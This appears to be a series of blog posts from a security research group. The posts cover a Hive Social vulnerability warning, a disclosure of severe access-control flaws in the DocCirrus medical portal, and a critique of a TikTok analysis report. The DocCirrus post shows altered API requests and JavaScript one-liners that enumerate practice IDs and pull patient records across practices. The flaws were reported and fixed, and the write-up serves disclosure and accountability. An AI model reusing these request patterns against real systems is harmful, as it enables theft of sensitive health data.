2022-11-27 02:21 GMT+1 - Notified other Hive Admins about an urgent email in their support inbox
2022-11-27 02:41 GMT+1 - Second try to reach the CEO by telephone. She didn’t find the report in the support emails, sent again
2022-11-28 02:48 GMT+1 - Sent email with question about a timeline for fixing the vulnerabilities
2022-11-28 18:13 GMT+1 - Sent another email to the Hive support address. Also sent an iMessage to the CEO
2022-11-28 19:38 GMT+1 - Got the first written acknowledgement by iMessage
2022-11-28 22:15 GMT+1 - Vulnerabilities still open, sent iMessage asking for a timeline again
2022-11-30 16:30 GMT+1 - Our routine tests indicate that the first vulnerability may be closed
2022-11-30 21:00 GMT+1 - Released this Post
2022-12-01 02:32 GMT+1 - Hive deactivated their servers
2022-12-01 20:45 GMT+1 - Released Update 1

⚠️ ZER-Produktwarnung: Hive Social 👉🐝👈

Wed, 30 Nov 2022 22:00:00 +0100

This article was also published in english.

Update: Die Lücken sind aktuell nicht ausnutzbar, da Hive die Server abgeschaltet hat. Mehr Details

Nach der feindlichen Übernahme von Twitter positionieren sich viele Dienste als Alternative und wachsen teilweise sehr schnell. Einer dieser Dienste ist die App “Hive Social”, die in den vergangenen Wochen die Marke von einer Million Usern überschritten hat.

Natürlich haben wir uns die App mal genauer angesehen und geschaut, wie es dabei um die IT-Sicherheit steht. Wir haben dabei eine Vielzahl von schwerwiegenden Sicherheitslücken gefunden, die wir natürlich an den Hersteller gemeldet haben. Nach mehreren Versuchen, die Verantwortlichen per E-Mail zu kontaktieren, haben wir die CEO telefonisch erreichen können. Sie hat uns dann bestätigt, dass sie den Report bekommen hat und versprochen, dass die Lücken so schnell wie möglich geschlossen werden. Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, sagten sie zu, die Lücken innerhalb von zwei Tagen zu schließen. Nach diesen zwei Tagen waren die Lücken allerdings noch nicht geschlossen und es bestanden zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social.

⚠️ Wir raten aktuell dringend davon ab, Hive Social zu benutzen.

Die Sicherheitslücken, die wir gemeldet haben, erlauben Angreifer*innen, auf alle Daten aller Benutzer*innen zuzugreifen. Dies betrifft private Posts, private Direktnachrichten, geteilte Bilder und Videos und sogar bereits “gelöschte” Direktnachrichten und Posts. Zudem ist auch der Zugriff auf E-Mail-Adressen, Telefonnummern und Geburtsdaten, die bei der Registrierung angegeben worden sind, möglich.

Angreifer*innen können auch fremde Posts verändern, wie in folgendem Video zu sehen ist:

Bildschirmaufzeichnung der Hive Social App auf einem iPhone. Wir sind als zerforschung eingeloggt, in unserer Timeline befinden sich Posts von einem Testaccount. Der Post »Hello Hive!« wird über die Teilen-Funktion mit einem benutzerdefiniertes Skript geteilt. Es taucht ein Eingabefeld auf, es zeigt die interne ID des Posts und den aktuellen Text. Wir bearbeiten »Hello Hive!« zu »Goodbye Hive!«. Unsere Änderung wird bestätigt, wir werden aufgefordert die Timeline neu zu laden. Die App wird zwangsgeschlossen und neu geöffnet. Der Post des Test-Accounts ist wieder in der Timeline sichtbar - nur diesmal mit dem Text »Goodbye Hive!«

Um die Privatsphäre der User*innen auf Hive nicht noch weiter zu gefährden, veröffentlichen wir vorerst noch keine technischen Details zu den Lücken.

Falls Ihr auf der Suche nach einer Alternative zu Twitter seid, könntet Ihr euch Mastodon ansehen. Dort sind wir unter @zerforschung@chaos.social zu finden.

Wir updaten diesen Post mit mehr Details, nachdem Hive endlich die gefundenen Sicherheitslücken behoben hat.

Update 1: Und weg ist der Bienenstock

Nachdem wir unsere Warnung veröffentlicht haben, hat Hive beschlossen ihre Server abzuschalten. Daher kann die Lücke aktuell auch nicht mehr ausgenutzt werden.

Wir haben mit dem Hive-Entwickler telefoniert. Er arbeitet am Schließen der Lücken. Wir veröffentlichen das versprochene Update mit mehr Details zu einem späteren Zeitpunkt.

Zudem haben wir einen Absatz umformuliert, in dem es Aufgrund eines Missverständnisses zwischen der Hive-CEO und uns hieß, die Firma "[behauptete], die Lücken seien geschlossen".

- Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, behaupteten sie, die Lücken seien geschlossen. Das ist allerdings nicht so: **Leider bestehen zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social**.
+ Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, sagten sie zu, die Lücken innerhalb von zwei Tagen zu schließen. Nach diesen zwei Tagen waren die Lücken allerdings noch nicht geschlossen und es bestanden zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social.

Timeline

2022-11-23 - Wir haben angefangen uns Hive anzusehen
2022-11-26 14:36 GMT+1 - Report fertig geschrieben, E-Mails mit Bitte um Bestätigung versandt
2022-11-27 01:25 GMT+1 - Erster Versuch Hives CEO telefonisch zu erreichen. Wir wurden weggedrückt
2022-11-27 02:21 GMT+1 - Nachricht an andere Hive-Administratoren verschickt, um sie auf eine dringende E-Mail in ihrer Support-Inbox hinzuweisen
2022-11-27 02:41 GMT+1 - Zweiter Versuch, Hives CEO telefonisch zu erreichen. Sie fand unseren Report nicht in ihren E-Mails, wir haben ihn erneut geschickt
2022-11-28 02:48 GMT+1 - E-Mail mit Bitte, uns eine Timeline zur Behebung der Lücken zu schicken
2022-11-28 18:13 GMT+1 - Eine weitere E-Mail an die Hive-Supportmailadresse geschickt. Zudem eine iMessage an die CEO gesendet
2022-11-28 19:38 GMT+1 - Wir haben nun zum ersten Mal eine schriftliche Bestätigung per iMessage erhalten
2022-11-28 22:15 GMT+1 - Sicherheitslücken weiterhin offen, wir fragen wieder per iMessage nach einer Timeline
2022-11-30 16:30 GMT+1 - Bei einer Routineüberprüfung scheint die erste der Lücken geschlossen zu sein
2022-11-30 21:00 GMT+1 - Produktwarnung veröffentlicht
2022-12-01 02:32 GMT+1 - Hive haben ihre Server abgeschaltet
2022-12-01 20:45 GMT+1 - Update 1 veröffentlicht

Auch dezentral lassen sich gut Patient*innen-Daten verlieren

Thu, 11 Aug 2022 12:55:00 +0200

Unfassbar, aber wahr: Auch in Deutschland kommt die Digitalisierung an. Mittlerweile sogar in Arztpraxen. Termine buchen, Akten durchsuchen, Krankschreibungen und Abrechnungen ausstellen – das alles kann mit einer Software erledigt werden. Die kennt dann Praxen und Patient*innen sehr gut – sehr, sehr gut sogar. Genauso unfassbar, aber leider auch wahr: Als wir uns eine dieser Softwarelösungen für Arztpraxen mal genauer angeschaut haben, hat sie sehr viele Daten verloren. Sehr, sehr viele: Von mehr als einer Million Patient*innen.

Fast zwei Jahre lang sind wir jetzt zusammen neugierig 🎉 und haben schon viel problematische Software gesehen. Sehr, sehr viel. Aber mehr als eine Million Datensätze, die auf einmal verloren gehen - und zwar sensibelste Patient*innen-Daten inklusive Behandlungsverlauf – das hatten wir bisher auch noch nicht.

Dabei ist es immer wieder das Gleiche: Wir haben ein schlechtes Bauchgefühl. Wir hoffen, dass wir falsch liegen und die Entwickler*innen sorgfältig gearbeitet haben und es nichts zu befürchten gibt.

Wir schreiben miteinander Nachrichten. Wir probieren aus. Wir finden eine Sicherheitslücke und ärgern uns, jetzt schon wieder wenig schlafen zu können – denn dann sind wir wieder eine ganze Nacht lang beschäftigt, Sicherheitslücken zu dokumentieren.

Alle schlimmen Dinge beginnen im Chat

Heute nehmen wir euch mit auf diesem Weg vom Bauchgefühl, zum Arzt und zur nachgewiesenen Sicherheitslücke - und zeigen euch auch unsere Chatnachrichten. Natürlich gekürzt und kuratiert, aber sehr nah an der Realität.

Mein Hausarzt darf keine Blutwerte etc. per E-Mail verschicken und nutzt deshalb ein “Gesundheitsportal”. Das sieht auf den ersten Blick schon so aus, als wäre das bestimmt kaputt.

👀👀

Also öffnen wir einen Browser und darin die Entwicklungstools. Damit können wir uns anschauen, was die Webseite so treibt. In diesem Fall geht es um die Praxissoftware “InSuite” von DocCirrus. Dort fallen uns sofort einige merkwürdige Dinge auf.

es lädt auf jeder Seite Google Maps? #yolo

Und da wird minified javascript-code in json payloads returned???

Das ist alles keine Sicherheitslücke, aber schon seltsam.

Schock 1: Ich sehe was, was du deinen Ärzt*innen schreibst

So auch hier: Das zweite zerforschi hatte noch nicht mal Zeit, einen Laptop aufzuklappen, um sich in der Software anzumelden, da heißt es schon:

Sie leaken die SMTP-Zugangsdaten der Arztpraxis oh boi oh boi oh shit
Damit könnte man bestimmt auch E-Mails abrufen

Was war passiert?

Nachdem man sich auf der Website angemeldet hat, bekommt man eine Liste der Praxen angezeigt, bei denen man registriert ist.

Angezeigt werden dabei nur harmlose Informationen: Wo ist die Praxis? Wann hat sie offen?

Übersicht der Praxen im Gesundheitsportal: Zur Praxis werden jeweils Name, Öffnungszeigen und Standort angezeigt

Doch in den Entwickler*innen-Tools unseres Browsers sehen wir, dass nicht nur diese Informationen übertragen werden, sondern noch mehr Details. Viel viel mehr Details. Darunter viel Harmloses, wie die Bankverbindung der Praxis, die E-Mail-Signatur der Ärzt*innen und welche Drucker es in der Praxis so gibt. Aber eben auch die Zugangsdaten zum Versenden von E-Mails.

Uffff

Puuuh

Belastend

was jetzt?

Ja ich seh schon, da müssen wir nochmal genau drauf schauen

Zuerst hoffen wir natürlich, dass das Zugangsdaten für ein extra Postfach sind, über das nur E-Mails versendet werden können. Dann könnten wir mit diesen Zugangsdaten zwar im Namen der Praxis Mails versenden, aber immerhin nicht mehr.

Doch wir sehen schnell: In den allermeisten Fällen sind das tatsächlich die vollständigen Zugangsdaten zum allgemeinen E-Mail-Postfach der Praxis (z.B. info@PRAXISNAME.de). Mit denen könnten wir nun also auch alle E-Mails lesen, die die Praxis bekommt – und darin stehen nicht selten privateste Informationen über Patient*innen.

Screenshot der Informationen zu einer Praxis. Neber der Bankverbindung die auch die (im Screenshot geschwärzte) E-Mail-Adresse, der E-Mail-Server und das E-Mail-Passwort zu sehen

Diese Zugangsdaten wurden bei jedem Aufruf des Portals an die Nutzer*innen übertragen. Es gibt keinen Weg festzustellen, wer sie dort alles entdeckt hat.

Daher müssen die Zugangsdaten sofort geändert und alle Mails im Postfach als kompromittiert angesehen werden.

Schock 2: Ente-zu-Ente-Verschlüsselung: Alles nur quak 🦆

Eine Faustregel, die sich leider viel zu oft bewahrheitet hat, ist: Wo eine derart simple Lücke besteht, wurde vielleicht an noch mehr Stellen unsauber gearbeitet.

Also haben wir uns bei nächster Gelegenheit, es war mal wieder mitten in der Nacht, zusammentelefoniert und die Features systematischer angesehen und ausprobiert.

wenn ihr wollt, können wir gerne einen Call starten, kann eh nicht schlafen

Wollte eigentlich bald schlafen gehen, aber was solls

DocCirrus wirbt damit, dass die Patient*innen-Daten und Dokumente nicht zentral bei ihnen gespeichert werden, sondern nur in der Praxis - auf einem kleinen Server, den sie den Arztpraxen als “Datensafe” verkaufen. Dieser ist auch erstmal absichtlich nicht “von außen” erreichbar.

Das wirkt auf den ersten Blick gut: Wenn Daten nicht über das Internet erreichbar sind, können sie auch nicht aus der Ferne unberechtigt abgerufen werden. Zudem liegen die Daten dann nicht zentral in einer Cloud eines Anbieters, die alle Daten auf einmal verlieren könnte.

Aha, und das soll funktionieren? 🧐

Auf den zweiten Blick wirkt das aber auch seltsam: Über DocCirrus sollen Patient*innen eigentlich auf ihre eigenen Daten Zugriff haben, damit sie nicht mehr über unverschlüsselte E-Mails verschickt werden müssen. Wie passt das zusammen?

Der Hersteller DocCirrus sagt: Mit ein bisschen Cloud und Ende-zu-Ende-Verschlüsselung zwischen Praxis und Patient*in¹!

Screenshot aus der DocCirrus-Doku: Ein Klick auf den Link öffnet das Dokument oder Bild in Ihrem Webbrowser, wobei die Übertragung Ende-zu-Ende verschlüsselt erfolgt

Das soll dann so funktionieren: Die Patient*innen loggen sich in einen zentralen Dienst bei DocCirrus ein – das Gesundheitsportal. Dieses läuft auf einem Server von DocCirrus, der aus dem Internet erreichbar ist, und hält eine ständige Verbindung zu allen dezentralen Servern in den Praxen. Wenn nun Daten aus der Praxis gebraucht werden, schickt der Webbrowser der Patient*innen eine Anfrage an den zentralen Server, und der leitet es dann an den Datensafe in der Praxis weiter. Diesen Dienst nennt DocCirrus “blindproxy”.

Daten, verschlüsselt euch! 🪄

Und damit dieser blindproxy nicht mitlesen kann, was Patient*in und Praxis so miteinander für Daten austauschen, verschlüsseln Patient*innen-Browser und Praxis-“Datensafe” die Daten nochmal so, dass nur diese beiden sie lesen können – und der blindproxy nur unverständliche Zeichenketten durchleiten kann.

Aber funktioniert das wirklich? Wir schauen uns näher an, wie die Dokumente übermittelt werden. Dabei geht es um sehr sensible Informationen, beispielsweise um die Ergebnisse von Bluttests oder Befunde von sexuell übertragbaren Krankheiten.

Wir öffnen also einen Browser und loggen uns wieder im Gesundheitsportal von DocCirrus ein. Dort werden alle unsere Dokumente aufgelistet. In den Entwickler*innen-Tools stellen wir zuerst fest: Die Liste der Dokumente mit IDs und Abruf-Links wird verschlüsselt übertragen. Rufen wir ein Dokument ab, sehen wir dann aber: Die Dokumente selbst werden gar nicht Ende-zu-Ende-verschlüsselt übertragen, anders als DocCirrus das behauptet.

Damit die Liste verschlüsselt werden kann, sendet der Browser mit, an wen verschlüsselt werden soll. Ganz naiv probieren wir aus, was passiert, wenn wir diese Information weglassen. Wir hätten erwartet, dass der Server hier einen Fehler anzeigt und wir nicht weiter kommen – doch stattdessen wird die Anfrage einfach beantwortet. Unverschlüsselt. 😱

Screenshot der Anfrage mit gesetzem pubKeyHash_-Attribut. Die Antwort ist verschlüsselt

Screenshot der Anfrage ohne gesetztes pubKeyHash_-Attribut. Die Antwort ist unverschlüsselt

Das führt das ganze Prinzip der Ende-zu-Ende-Verschlüsselung ad absurdum.

Schock 3: Wir kennen alle Dokumente deiner Ärzt*innen

Doch zurück zur Website: Nachdem wir nun unsere Daten auch ohne Verschlüsselung abrufen können, beginnen wir, die Anfragen ein bisschen zu verändern².

Die ursprüngliche Anfrage, um die eigenen Dokumente abzurufen, sieht in etwa so aus:

{
	"patientregid": null,
	"remoteurl": "/1/document/:patientDocument",
	"remoteparams": "{}",
	"remotemethod": "GET"
}

Der dabei auf dem Praxisserver aufgerufene Endpunkt ist /1/document/:patientDocument. Also probieren wir aus, was passiert, wenn wir /1/document aufrufen.
Was dann passierte, hat uns schockiert: Zurück kommt eine Liste aller Dokumente, die unsere Praxis gespeichert hat: Krankschreibungen, ausgestellte Rezepte, Diagnosen, Überweisungen an andere Ärzt*innen… wirklich ALLES.

{
  "meta": {
    "errors": [],
    "warnings": [],
    "query": {},
    "itemsPerPage": null,
    "totalItems": 77447,
    "page": null,
    "replyCode": 200
  },
  "data": [...]
}

Wenn hinter document eine Liste der Dokumente liegt, überlegen wir uns mal was es in einer Praxis noch geben könnte. Na klar! Patient*innen. Also probieren wir weiter und tauschen document durch patient aus.

Schock 4: Wir können alle Infos der Praxis abrufen.

Und wieder antwortet der Server: Diesmal mit einer Liste aller Patient*innen, die der Praxis bekannt sind – viele tausend Einträge.

{
    "meta": {
        "errors": [],
        "warnings": [],
        "query": {},
        "itemsPerPage": 1000,
        "totalItems": 17041,
        "page": 1,
        "replyCode": 200
    },
    "data": [
        {
            "_id": "██████████████████",
            "talk": "MR",
            "title": "",
            "firstname": "OTTO",
            "lastname": "TEST",
            "middlename": "",
            "nameaffix": "",
            "patientNo": "999999",
            "importId": "1",
            "gender": "MALE",
            "kbvDob": "13.09.1936",
            "dob": "1936-09-13T10:00:00.000Z",
            "dob_DD": "13",
            "dob_MM": "09",
            "primaryDoc": "██████████████",
            "accounts": [],
            "affiliates": [],
            "addresses": [
                {
                    "street": "Am Baum",
                    "houseno": "34",
                    "zip": "12345",
                    "city": "Berlin",
                    "country": "Deutschland",
                    "countryCode": "0",
                    "addon": "Test Hallo"
                }
            ],
            "images": [],
            "insuranceStatus": [
                {
                    ...
                    "insuranceNo": "█████████",
                    "insuranceId": "104940005",
                    "insuranceName": "BARMER"
                    ...
                }
            ],
            "isDeceased": false,
            ...
        },
        ...
    ]
}

In der Liste steht zu den Patient*innen:

Name
Adresse
Geburtsdatum
Versicherungsstatus (mit Versicherung, Versicherungsnummer, …)
Telefonnummer
E-Mail-Adresse
teilweise verordnete Medikamente

Nach dem gleichen Schema wie document und patient gibt es noch eine Reihe weiterer Datensätze, die wir abrufen können. Dazu gehören

Rechnungen, die die Praxis ausgestellt hat
Alle “Aktivitäten” (der Sammelbegriff für Einträge in der Patient*innen-Akte)
- Hier stehen auch Diagnosen, Überweisungen zu anderen Ärzt*innen
Zertifikate für die Kommunikation mit dem TI-Konnektor (für die Abrechnung mit den Krankenkassen)

Außerdem finden wir dort das sogennante “Audit-Log”, eine Aufzeichnung aller Aktionen, die in der Software durchgeführt wurden.

Screenshot aus DocCirrus-Werbematerial: Über den Audit-log sehen Sie stets, wer wann was gemacht hat, wer sich wann wo angemeldet hat und wer wann was für wen freigegeben hat

\o/ der Dienst hat ein Auditlog

/o\ unsere Requests tauchen nicht darin auf

Diese Aufzeichnung hätte ein nützliches Werkzeug sein können, um nachzuvollziehen, ob die von uns gefundenen Sicherheitslücken bereits vorher entdeckt und ausgenutzt wurden.

Allerdings nützt das in diesem Fall vermutlich sowieso nichts – denn höchstwahrscheinlich können wir die Datensätze nicht nur auslesen, sondern auch verändern. Damit hätte ein*e Angreifer*in also auch ihre Spuren in diesem Audit-Log hinter sich wieder verwischen können.

Wie wir später herausgefunden haben, können wir über den Blindproxy auch beliebige andere Aktionen ausführen, die eigentlich nur die Administrator*innen ausführen können sollten.³

Woran das lag? Der Blindproxy scheint allen Anfragen beim Durchleiten noch volle Zugriffsrechte zu geben. So gibt es einen Endpunkt namens whoami (“wer bin ich?”). Ohne den Blindproxy sagt der Endpunkt uns, als welche*r Nutzer*in wir gerade angemeldet sind. Aber wenn wir unsere Anfrage durch den Blindproxy schicken, antwortet er so:

{
	"meta": {
		"errors": [],
		"warnings": [],
		"query": null,
		"itemsPerPage": null,
		"page": null,
		"replyCode": 200
	},
	"data": {
		"id": "su",
		"identityId": "000",
		"name": "",
		"ip": ""
	}
}

su ist der Superuser, also gewöhnlich der Account, der alles darf. Was wir damit auf den Praxisservern verändern können, probieren wir aber lieber nicht aus.

Schock 5: Wir können Daten aus mehreren Praxen abrufen.

Bisher können wir schon persönlichste Dokumente von tausenden Personen abrufen – allerdings alle aus einer Praxis. Das ist zwar schlimm genug, aber DocCirrus wird ja in mehr als einer Praxis eingesetzt.

Also ist für uns der nächste Schritt zu schauen, ob wir auch andere Praxen erreichen können. Doch damit uns der Blindproxy mit einer Praxis sprechen lässt, müssen wir in dieser registriert sein. Dafür gibt es auch eine API-Methode, mit dem wir unseren Account in einer neuen Praxis registrieren können.

Dafür brauchen wir allerdings die interne Nummer der Praxis. Um an diese zu kommen, gibt es verschiedene Optionen.

Wenn euch die Details interessieren, könnt ihr sie hier Ausklappen

Wie wir an die Praxis-Nummern kommen

Option 1: Zahlen erraten

Bei dieser Praxis-Nummer handelt es sich um eine vierstellige Zahl, es gibt also nur 10.000 Optionen. Zu viel, um damit händisch etwas zu machen – aber kein Problem für einen Computer, der schnell alle Möglichkeiten durchprobieren kann:

[...Array(10_000).keys()].forEach(x => 
  Y.doccirrus.jsonrpc.api.patientreg.updatePatient({ data: { customerId: x } })
)

Allerdings gab es dann noch

Option 2: Wir haben noch eine Sicherheitslücke gefunden

Die Liste, welche Patient*innen in welchen Praxen registriert sind, liegt zentral auf dem Server des Gesundheitsportals vor: Dieser muss ja wissen, welche Praxen einer*m Patient*in angezeigt werden sollen. Doch auch die Liste war unzureichend geschützt. Mit nur zwei kurzen Befehlen können wir eine Liste aller Patient*innen abrufen:

Y = await (new Promise((resolve, reject) => YUI().use(['JsonRpc'], resolve)));
patientregs = await Y.doccirrus.jsonrpc.api.patientreg.read({"itemsPerPage": 100000})

In dieser Liste stehen dann auch teilweise die jeweligen Praxis-Nummern. Damit können wir uns wiederum mit einem (nun schon etwas längerem) Befehl in allen Praxen registrieren:

Y.doccirrus.jsonrpc.api.patientreg.read({ "itemsPerPage": 100000 }).then((data) => {
  const pracIds = data.data.map(x => x.customerIdPrac).filter((v, i, a) => a.indexOf(v) === i);
  pracIds.forEach(x => Y.doccirrus.jsonrpc.api.patientreg.updatePatient({ data: { customerId: x } }))
})

Doch egal wie wir es im Detail machen: Wir sind nun in allen Praxen registriert. Das heißt auch: Wir können in allen Praxen die Daten aller Patient*innen abrufen.

Das haben wir natürlich nicht getan – sondern uns für jede Praxis nur angeschaut, wie viele Patient*innen dort im System registriert sind.

ohhhhh fuuuuuuck, ich habe gerade mal die anzahl der patient*innen zusammengezählt

das sind mehr als 1.750.000

„Und jetzt? Richtig. Abschalten!“

Nachdem wir all diese Lücken gefunden haben, war es 6 Uhr morgens. Sobald wir ausgeschlafen hatten, haben wir die Details zu den Lücken wie immer schnell und sauber aufgeschrieben – diesmal mit noch etwas mehr Zeitdruck als sonst – und am selben Tag noch an den Hersteller, die Berliner Landesdatenschutzbeauftragte sowie das CERTBund beim BSI geschickt.

Was dann passierte, hatten wir bisher nicht erlebt: Das Unternehmen hat das System erstmal abgeschaltet. Bei der Schwere der Sicherheitslücken fanden wir das aber auch angebracht.

Und auch sonst hat sich der Hersteller erstmal gut verhalten: Er hat sich von sich aus bei uns gemeldet, die Lücken bestätigt und angekündigt, die Betroffenen darüber zu informieren, welche Daten abgeflossen sind und welche weiteren Maßnahmen getroffen werden sollen.

Anfang gut, Ende mangelhaft

Wir hatten den Eindruck, dass das Unternehmen wirklich betroffen ist und versucht, sowohl weiteren Schaden zu verhindern als auch den bereits entstandenen einzudämmen.

Nur leider passierte dann nicht mehr viel. Bis heute ist uns nicht bekannt, ob Patient*innen über die Sicherheitslücke und die abgeflossenen Daten informiert wurden. Die Patient*innen, die wir kennen, wurden es auf jeden Fall nicht. Eine der betroffenen Praxen schrieb online, dass das Portal “aufgrund eines Sicherheitsupdates zur Einführung des eRezeptes” nicht zur Verfügung stehe.

Auch scheint das Unternehmen die Lücken unter den Teppich kehren zu wollen. Auf der Website findet sich zu dem Thema bisher nur eine, etwas verstecke Pressemitteilung, aus der die Schwere der Lücken nicht klar hervorgeht.

Screenshot der Pressemitteilungs-Seite von DocCirrus. Die Pressemitteilungen zu neuen Features haben stets sprechende Titel, während die Meldung zu unserer Recherche nur mit ‘Pressemitteilung vom 11. Juli 2022’ betitelt ist

Forderungen

Die Daten, von denen wir in diesem Artikel reden, sind mal wieder Gesundheitsdaten und damit sehr sensible Daten und zurecht in der DSGVO besonders geschützt⁴. Hierfür vermissen wir bei DocCirrus - aber auch bei anderen Herstellern von Gesundheitssoftware - das nötige Bewusstsein.

Die hier beschriebenen Fehlerquellen gehören zu den offensichtlichsten⁵. Fehler wie diese dürfen eigentlich nicht passieren und zeigen krasse Defizite in den Entwicklungs-Prozessen im Unternehmen auf. Da helfen auch ganz viele Zertifizierungen nicht – von denen das Unternehmen gleich eine ganze Reihe besitzt: ISO9001, ISO27001 und ganz viele verschiedene von der KBV. Doch bei keiner dieser Zertifizierungen wurde das Produkt tatsächlich kritisch überprüft.

Wir fordern daher:

Das Unternehmen bzw. die Praxen müssen alle Patient*innen über diese Lücke, die gefährdeten Daten und die damit verbundenen Risiken informieren.
Die Datenschutzbehörde muss gegen das Unternehmen vorgehen und empfindliche Strafen verhängen – nach der DSGVO sind hier bis zu 20 Millionen möglich.⁶
Datenschutz und insbesondere IT-Sicherheit muss bei Softwareherstellern ganz oben auf die Prioritätenliste. Und so gilt mal wieder: Wenn ein Produkt marktreif genug ist, um persönliche Daten zu speichern muss es auch reif genug sein, diese für sich zu behalten.

Timeline

2022-06-26: Fund der Lücken
2022-06-27: Report an Hersteller, Landesdatenschutzbeauftragte und CERTBund beim BSI
2022-06-28: Abschaltung des Portals durch den Hersteller
2022-07-25: Portal teilweise wieder online; Lücken laut Hersteller behoben
2022-08-11: Veröffentlichung

Diese Recherche veröffentlichen wir exklusiv zusammen mit dem NDR und dem WDR, die nochmal einen genaueren Blick auf die Zertifikate geworfen haben. Deren Berichterstattung findet ihr hier:

Falls er euch gefällt, könnt ihr uns gerne unterstützen.

https://www.doc-cirrus.com/gesundheitsportal-anleitung-fuer-patienten ↩︎
Dass die Daten ohne Verschlüsselung abrufbar waren, hat uns die Untersuchung einfacher gemacht, war aber nicht zwingend notwendig. Wären sie es nicht, hätten wir die Verschlüsselung erst selber nachbauen müssen, bevor wir weiter machen können. So eine Verschlüsselung ist kein ausreichender Schutz. ↩︎
Es gibt zum Beispiel den interessant klingenden Endpoint cli.runCliCommand ↩︎
https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:32016R0679&from=DE#d1e2066-1-1 ↩︎
https://owasp.org/Top10/ ↩︎
Auf Nachfrage teilte uns der Pressesprecher der Berliner Beauftragten für Datenschutz und Informationsfreiheit mit, dass sie die Sicherheitslücken derzeit als “gravierend” einstufen, allerdings “vor Abschluss des Prüfvorgangs insbesondere zu möglichen Sanktionsmaßnahmen und Bewertungen keinen Kommentar abgeben können”. ↩︎

Macht doch bitte gute TikTok(-Analysen)

Mon, 18 Jul 2022 14:45:00 +0200

This article was also published in english.

Gerade geht mal wieder ein Report zu TikTok herum. Wir haben uns diesen genau durchgelesen: Das ist größtenteils Quatsch. Schauen wir uns die Behauptungen nacheinander an

Sicherheitsforscher haben sich den Quellcode von ⁦@tiktok_de⁩ angesehen und spannende Dinge gefunden: Stündliche GPS-Abfragen, penetranten Zugriff auf Gerätedaten - und eine mysteriöse IP-Spur nach China. 🇨🇳

Jetzt ⁦@derspiegel⁩. https://t.co/tGOqLlzSSO
— Anton Rainer (@antonrainer) July 17, 2022

Um den Report zu bewerben, sagt das Analyse-Unternehmen unter anderem: “TIKTOK IS NOT COMPATIBLE WITH OUR APPROACH TO PRIVACY”. Ach tatsächlich? Um den Report zu bekommen, muss man Name, Telefonnummer und E-Mail-Adresse angeben. Spannender “approach to privacy”… 🤔

Downloadformular mit Abfrage von First Name, Email Address und Phone Number

Damit eure Daten geschützt bleiben, könnt ihr den Report auch im Internet Archive mitlesen: https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release #ServiceTweet

Weitreichende Berechtigungen

Hier hat sich die Bude automatisiert die Liste mit allen Berechtigungen generieren lassen, die die TikTok-App bekommen kann:

Liste der Permissions auf Android: Read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar

Liste der permissions auf ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library

Hierzu sind zwei Dinge wichtig:

Die meisten dieser Berechtigungen müssen nochmal explizit von den Nutzer*innen bestätigt werden. Ihr kennt sicher den “Zugriff auf Kontakte erlauben?"-Dialog.
Für (fast) alle lässt sich ziemlich einfach erklären, wofür TikTok das braucht:

Kamera & Audioaufnahme: Naja, es ist ne Video-App Kalender: Man kann sich Livestreams in den Kalender eintragen lassen Kontakte: Man kann Menschen aus dem Adressbuch finden Photozugriff: Man kann Bilder aus der Fotogalerie in den Videos verwenden

Im Report steht fälschlicherweise, dass die App in einer Endlosschleife um Zugriff auf Kontakte bittet, wenn man diesen verweigert. Das stimmt nicht: Zwar fragt die App immer mal wieder während der Nutzung nach, aber man kann stets ablehnen und die App problemlos weiter nutzen.

Für andere Berechtigungen gibt es noch weniger Nachweise: Hier behaupten die “Analyst*innen” mit Verweis auf Screenshots, dass diese Berechtigungen bösartig ausgenutzt werden. Doch das ergibt sich aus den Screenshots gar nicht.

Hier wurden nur Code-Ausschnitte wild markiert – ohne dass klar ist, ob und wann dieser Teil des Codes überhaupt jemals genutzt wird. Hier braucht es Kontext: Entweder durch eine längere Argumentation am Quellcode oder nachweislich bösartiges Verhalten, während die App läuft.

Datensammelei

Hier stellt der Report selbst fest, dass die Analyse nicht genau genug war, um irgendwas nachzuweisen. Aber behaupten kann man es ja mal 🤷🙃

Um einige dieser Daten abzurufen, bräuchte die App zusätzliche Berechtigungen – die sie weder hat noch bekommen will: Für IMEI, IMSI, SIM/build serial number und weitere braucht man die Permissions “READ_PHONE_STATE” bzw. “READ_PRIVILEGED_PHONE_STATE”. https://source.android.com/devices/tech/config/device-identifiers

Verbindungen zu chinesischen IPs

Hier fehlt dem Report jegliche Tiefe, um beurteilen zu können, was das bedeutet. Aus technischer Sicht ist es Quatsch, nur anhand einer IP-Adresse den Standort der Server bestimmen zu wollen – ohne Einblicke in die Infrastruktur des Hosters.

CD-Cover: ‘Die drei ??? und die mysteriöse IP-Spur’. Im Bild ist ein grün leuchtendes Handy mit einer China-Flagge, dessen Schatten das TikTok-Logo zeigt.

Das Unternehmen, zu dem die IP angeblich gehört, bietet allgemein Cloud-Lösungen an: https://intl.baishancloud.com/ Nur mit der Information über die IP kann man nicht ohne Weiteres darauf schließen, wo die Server stehen, wofür TikTok diese nutzt, wer tatsächlich Daten bekommt etc.

Zusammenfassung

Dem Bericht fehlt technische Tiefe und sinnvolle Informationen. Hier wurden großteils Ausgaben automatischer Tools unhinterfragt wiedergekäut. Das macht noch keine Analyse. Diese Tools liefern nur Hinweise, welche Stellen man genauer anschauen sollte.

Aber es braucht nochmal viel händische Arbeit, um die gefunden Stellen genau zu analysieren und zu bewerten. Wir haben zum Spaß eine datenschutz-freundliche E-Mail-App in einen dieser Scanner hochgeladen und analysieren lassen. Heraus kam:

App Security Score: 29/100 (CRITICAL RISK) – Grade: F

Es ist ein Problem, dass Reports in dieser Form veröffentlicht werden. Denn der Report richtet sich nicht an ein technisches Publikum, das die Fehler direkt erkennen kann, sondern an “policy makers and legislators to make evidence-based decisions”

Screenshot der Executive Summary: ‘This report is for policy makers and legislators to make evidence-based decisions’

